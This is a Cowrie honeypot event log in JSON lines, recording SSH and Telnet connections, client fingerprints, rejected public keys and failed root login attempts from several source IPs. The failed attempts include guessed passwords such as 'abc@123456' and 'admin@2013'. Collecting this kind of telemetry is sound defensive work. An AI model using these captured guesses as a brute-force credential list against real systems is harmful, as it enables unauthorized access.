{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:15.279423Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:15.379978Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123456","message":"login attempt [root/abc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:15.737026Z","src_ip":"43.156.63.254","session":"71a39268aff2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:0e:6d:87:98:5f:74:ea:0a:cb:ad:d2:22:61:a3:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcRg+eOqCe/+Vu3y9IdslZk8Zina0d1q+2yNualu2NHhmAkjFubVcUYUNAfHEj+NEc+f8leqQa6cs+MV8plc7348filMiSU0T8neCKuPSpKuPDCAOFAFCq0oraMbp2gf9AVrsY5pcGTtVyvWaKagdDdTehLhZyRmh0nszdpmUn8mllUKDUgGXAxYyJ4ViUBbTUq9e3tjfCRnUFeAq1HskkAyTo8guKNK6rDkPJxSdUYpBLKZ1YTD3ut5eIHLH0+ghaQJ1CbYOO6mpJzWhF48D4cPHUxCv6BJgc2rTZoBVV6jJmdEQ9WRHf+BkIJ/o5supzQ/sFovmP6gDVoSmwLLC1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:0e:6d:87:98:5f:74:ea:0a:cb:ad:d2:22:61:a3:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.248545Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:0e:6d:87:98:5f:74:ea:0a:cb:ad:d2:22:61:a3:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcRg+eOqCe/+Vu3y9IdslZk8Zina0d1q+2yNualu2NHhmAkjFubVcUYUNAfHEj+NEc+f8leqQa6cs+MV8plc7348filMiSU0T8neCKuPSpKuPDCAOFAFCq0oraMbp2gf9AVrsY5pcGTtVyvWaKagdDdTehLhZyRmh0nszdpmUn8mllUKDUgGXAxYyJ4ViUBbTUq9e3tjfCRnUFeAq1HskkAyTo8guKNK6rDkPJxSdUYpBLKZ1YTD3ut5eIHLH0+ghaQJ1CbYOO6mpJzWhF48D4cPHUxCv6BJgc2rTZoBVV6jJmdEQ9WRHf+BkIJ/o5supzQ/sFovmP6gDVoSmwLLC1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.256364Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:5d:af:b9:63:f8:b0:c1:db:9f:82:fb:4e:11:5c:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlPmkfEnwFJOpWLsmx5pqXBnv9O/7LVGrf5DKyKIPiIT2mpEdouSPTbqoPhy3J2P4N+QqMBiHMmrCeSsn0WdJeyZjXHD56W/iVPzofdFBbBkf7WDzrIIU80KvPuypZFnIldtW0kBFFL0dYCqENSA2Cr0EebM2avi5vrffz5Su+pNz3NpQrPsFRG3qyDrK66hxX2UT15luIe5UiHm07IfW/fQvrHElOGNdiGpICoS0uxY5ZRfhxgvgsErhjl1aq3XRK/52+CDc4agQrBAd2ziRrzsV5xxHDRIMqeDhN+kMZeRX6QXr+uSrgRRlirOR7s5bfPhe8Ptj9Y0xQZXZAYvM3Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:5d:af:b9:63:f8:b0:c1:db:9f:82:fb:4e:11:5c:9b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.352839Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:5d:af:b9:63:f8:b0:c1:db:9f:82:fb:4e:11:5c:9b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAlPmkfEnwFJOpWLsmx5pqXBnv9O/7LVGrf5DKyKIPiIT2mpEdouSPTbqoPhy3J2P4N+QqMBiHMmrCeSsn0WdJeyZjXHD56W/iVPzofdFBbBkf7WDzrIIU80KvPuypZFnIldtW0kBFFL0dYCqENSA2Cr0EebM2avi5vrffz5Su+pNz3NpQrPsFRG3qyDrK66hxX2UT15luIe5UiHm07IfW/fQvrHElOGNdiGpICoS0uxY5ZRfhxgvgsErhjl1aq3XRK/52+CDc4agQrBAd2ziRrzsV5xxHDRIMqeDhN+kMZeRX6QXr+uSrgRRlirOR7s5bfPhe8Ptj9Y0xQZXZAYvM3Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.357836Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7a:9f:42:7e:95:2f:7b:f7:75:a4:9c:7e:41:8b:74:af","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfPnAuOJxrbqxwBCV/+RGBVzCE3sVDA9IDTs2bWRL2s","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7a:9f:42:7e:95:2f:7b:f7:75:a4:9c:7e:41:8b:74:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.458806Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7a:9f:42:7e:95:2f:7b:f7:75:a4:9c:7e:41:8b:74:af","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfPnAuOJxrbqxwBCV/+RGBVzCE3sVDA9IDTs2bWRL2s","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.463216Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"75:48:31:14:7b:80:81:c5:3b:1d:30:e5:9f:df:5d:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnaBG5HEN5gez80vf35L5CzGfMP4Kf43LbTAtqZvAxTLUk7Zzhp607twOr9SjN092uDtFjpomnWxMjprh45UJXApZqUaRTPollnZex0K/EbLkY9estTMNrzgWQarsuuPBOknetKqxtccbP2n4v+A4TXTp5VMvxf0dCkldyMZZyKNTTpiNro49h05gR3Xn4HkGhKHT5Cb5WFe+e1qwvAwfaGYRFovVMGD7B1UkryMNi6veYVwvPdTVjt8WnvVp0c5yIGI0g3X34OxRvU95Lv3wXA5PNOloi4GJP+w92dN3oLeC2yTTs3sC5jjkWAe09vYr7TpLbhKE9ukIzCWZVgOI1","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 75:48:31:14:7b:80:81:c5:3b:1d:30:e5:9f:df:5d:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.567074Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"75:48:31:14:7b:80:81:c5:3b:1d:30:e5:9f:df:5d:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCnaBG5HEN5gez80vf35L5CzGfMP4Kf43LbTAtqZvAxTLUk7Zzhp607twOr9SjN092uDtFjpomnWxMjprh45UJXApZqUaRTPollnZex0K/EbLkY9estTMNrzgWQarsuuPBOknetKqxtccbP2n4v+A4TXTp5VMvxf0dCkldyMZZyKNTTpiNro49h05gR3Xn4HkGhKHT5Cb5WFe+e1qwvAwfaGYRFovVMGD7B1UkryMNi6veYVwvPdTVjt8WnvVp0c5yIGI0g3X34OxRvU95Lv3wXA5PNOloi4GJP+w92dN3oLeC2yTTs3sC5jjkWAe09vYr7TpLbhKE9ukIzCWZVgOI1","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.571087Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2b:48:d0:57:4e:4a:10:c0:2a:85:7d:e7:60:92:58:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEzM7qdv/ScPOPhyCUWqW3Wy2WCqxe+3E/Le3+eBbESDUx2zN//yhOQQ8lzdSQNdkePcmXVG639OgNA5CgCMKUGtFnWaO/5mdW3lUWvJZlq2RfmwvPNSDXworwY3V1b6Svr+cbXmeMMUH5vpkV/+pk77ApjC6tnz9WdhwKR4Z07Pd4GsulOmtQk5e+OU0lFch3bapL3mu28Oj0xIbIVckFl9FhIlqYOq6WHT/Zi+67epXZ9J9fdNj0gfs3sC4iWptSUChoAqPKPiGbSOjUGufePzb9smlOyd09zPXTptV5O8jFY/Q9PgpWw0GpUx84vAU+8FuTCr34IUilisJcFMxD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 2b:48:d0:57:4e:4a:10:c0:2a:85:7d:e7:60:92:58:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.668980Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2b:48:d0:57:4e:4a:10:c0:2a:85:7d:e7:60:92:58:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEzM7qdv/ScPOPhyCUWqW3Wy2WCqxe+3E/Le3+eBbESDUx2zN//yhOQQ8lzdSQNdkePcmXVG639OgNA5CgCMKUGtFnWaO/5mdW3lUWvJZlq2RfmwvPNSDXworwY3V1b6Svr+cbXmeMMUH5vpkV/+pk77ApjC6tnz9WdhwKR4Z07Pd4GsulOmtQk5e+OU0lFch3bapL3mu28Oj0xIbIVckFl9FhIlqYOq6WHT/Zi+67epXZ9J9fdNj0gfs3sC4iWptSUChoAqPKPiGbSOjUGufePzb9smlOyd09zPXTptV5O8jFY/Q9PgpWw0GpUx84vAU+8FuTCr34IUilisJcFMxD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.672890Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.773811Z","src_ip":"62.210.207.172","session":"8a448a3d572f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:16.986950Z","src_ip":"43.156.63.254","session":"71a39268aff2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00163125991821,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:17.331546Z","src_ip":"152.42.224.71","session":"86c9baf771d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36436,"dst_ip":"10.17.0.5","dst_port":23,"session":"265e4d5c0fe0","protocol":"telnet","message":"New connection: 152.42.224.71:36436 (10.17.0.5:23) [session: 265e4d5c0fe0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:19.518967Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52508,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4c404ec14cd","protocol":"telnet","message":"New connection: 152.42.224.71:52508 (10.17.0.5:23) [session: b4c404ec14cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:28.796057Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52520,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a084fc1050a","protocol":"telnet","message":"New connection: 152.42.224.71:52520 (10.17.0.5:23) [session: 4a084fc1050a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:33.346601Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.142.250","src_port":38738,"dst_ip":"10.17.0.5","dst_port":22,"session":"424269773a07","protocol":"ssh","message":"New connection: 43.134.142.250:38738 (10.17.0.5:22) [session: 424269773a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:36.827503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:36.832067Z","src_ip":"43.134.142.250","session":"424269773a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:37.077740Z","src_ip":"43.134.142.250","session":"424269773a07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":45462,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7cc0ce1cac1","protocol":"ssh","message":"New connection: 103.183.114.55:45462 (159.203.135.109:22) [session: c7cc0ce1cac1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:37.872999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:37.877532Z","src_ip":"103.183.114.55","session":"c7cc0ce1cac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2013","message":"login attempt [root/admin@2013] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:38.092271Z","src_ip":"43.134.142.250","session":"424269773a07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:38.119623Z","src_ip":"103.183.114.55","session":"c7cc0ce1cac1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567s","message":"login attempt [root/1234567s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:38.822175Z","src_ip":"103.183.114.55","session":"c7cc0ce1cac1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:39.339944Z","src_ip":"43.134.142.250","session":"424269773a07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:40.045828Z","src_ip":"103.183.114.55","session":"c7cc0ce1cac1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.117.24.180","src_port":35398,"dst_ip":"10.17.0.5","dst_port":22,"session":"625188c796a5","protocol":"ssh","message":"New connection: 79.117.24.180:35398 (10.17.0.5:22) [session: 625188c796a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:43.126602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:43.131153Z","src_ip":"79.117.24.180","session":"625188c796a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:43.248011Z","src_ip":"79.117.24.180","session":"625188c796a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin_1234","message":"login attempt [root/Admin_1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:43.745995Z","src_ip":"79.117.24.180","session":"625188c796a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:44.866996Z","src_ip":"79.117.24.180","session":"625188c796a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49228,"dst_ip":"10.17.0.5","dst_port":23,"session":"25bd1cba6708","protocol":"telnet","message":"New connection: 152.42.224.71:49228 (10.17.0.5:23) [session: 25bd1cba6708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:45.012217Z"}
{"eventid":"cowrie.session.closed","duration":93.37528538703918,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:55.285952Z","src_ip":"152.42.224.71","session":"ce7b1ba8a935","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.37793493270874,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:55:58.724431Z","src_ip":"152.42.224.71","session":"4a084fc1050a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47830,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a5e5e47e5bb","protocol":"telnet","message":"New connection: 152.42.224.71:47830 (10.17.0.5:23) [session: 4a5e5e47e5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:00.486022Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47832,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c71d055bc83","protocol":"telnet","message":"New connection: 152.42.224.71:47832 (10.17.0.5:23) [session: 5c71d055bc83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:03.479717Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57012,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8aa244a9721","protocol":"telnet","message":"New connection: 152.42.224.71:57012 (10.17.0.5:23) [session: b8aa244a9721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:06.898041Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":55702,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1aa33681dde","protocol":"ssh","message":"New connection: 103.27.238.120:55702 (159.203.135.109:22) [session: f1aa33681dde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:16.973454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T05:56:16.978582Z","src_ip":"103.27.238.120","session":"f1aa33681dde","protocol":"ssh"}
